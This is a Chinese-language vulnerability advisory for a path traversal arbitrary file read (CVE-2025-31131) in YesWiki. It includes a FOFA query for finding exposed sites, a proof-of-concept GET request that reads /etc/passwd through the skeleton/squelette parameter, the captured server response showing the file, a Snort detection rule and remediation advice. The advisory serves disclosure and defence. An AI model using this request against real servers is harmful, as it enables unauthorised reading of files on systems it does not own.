

Yeswiki 4.5.2（CVE-2025-31131）任意文件读取漏洞

Yeswiki任意文件读取漏洞该skeleton参数容易受到路径遍历攻击，从而允许读取服务器上的任意文件。有效载荷../../../../etc/passwd已在参数中提交skeleton。请求的文件已在应用程序的响应中返回。

影响版本

Yeswiki < 4.5.2

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="YesWiki"

POC/EXP:

```
GET /?
UrkCEO/edit&theme=margot&skeleton=../../../../etc/passwd&style=margot.css HTTP/1.1
Host: 127.0.0.1
```

发送请求

强制 HTTPS

历史

爆破示例

数据扫描

美化

热加载

构造请求

Request

1

GET

/?UrkCEO/edit&theme=margot&squelette=.%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&style=margot.css

HTTP/1.1

2

Host

:

Responses

3971bytes / 192ms

美化

渲染

编码

详情

1

HTTP/1.1

200

OK

2

Date:

:

Thu,

:

10

:

Apr

:

2025

:

03:31:47

:

GMT

3

Server:

:

Apache/2.4.62

:

(Debian)

4

X-frame-Options:

:

deny

5

Content-Security-Policy:

:

frame-ancestors

:

'none'

6

Set-Cookie:

:

YesWiki-main=lqn7gg3bdjr73ku833qfi2aqt;

:

path=;

:

HttpOnly;

:

SameSite=Lax

7

Expires:

:

Thu,

:

19

:

Nov

:

1981

:

08:52:00

:

GMT

8

Cache-Control:

:

no-store,

:

no-cache,

:

must-revalidate

9

Pragma:

:

no-cache

10

Set-Cookie:

:

YesWiki-main=lqn7gg3bdjr73ku833qfi2aqt;

:

path=;

:

HttpOnly;

:

SameSite=Lax

11

Set-Cookie:

:

YesWiki-main=lqn7gg3bdjr73ku833qfi2aqt;

:

path=;

:

HttpOnly;

:

SameSite=Lax

12

Vary:

:

Accept-Encoding

13

Content-Type:

:

text/html;

:

charset=UTF-8

14

Content-Length:

:

4261

15

16

root:x:0:0:root:/root:/bin/bash

:

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

17

bin:x:2:2:bin:/bin:/usr/sbin/nologin

:

sys:x:3:3:sys:/dev:/usr/sbin/nologin

18

sync:x:4:65534:sync:/bin:/bin/sync

19

games:x:5:60:games:/usr/games:/usr/sbin/nologin

20

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

21

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

22

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

23

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

24

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

25

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

26

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

27

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

:

list:x:38:38:Mailing-List

28

Manager:/var/list:/usr/sbin/nologin

:

irc:x:39:39:ircd:/run/

snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"WEB-ATTACKS Specific Directory Traversal attempt - UrkCEO pattern";
  flow:to_server,established;
  content:"GET"; http_method;
  content:"/"; http_uri;
  content:"UrkCEO/edit&theme=margot&squelette="; http_uri;
  pcre:"/squelette=([\.%2f]{2,}){5,}etc%2fpasswd/i";
  metadata:service http;
  reference:cve,CVE-2025-31131;
  reference:url,www.owasp.org/index.php/Path_Traversal;
  classtype:web-application-attack;
  sid:1000004;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本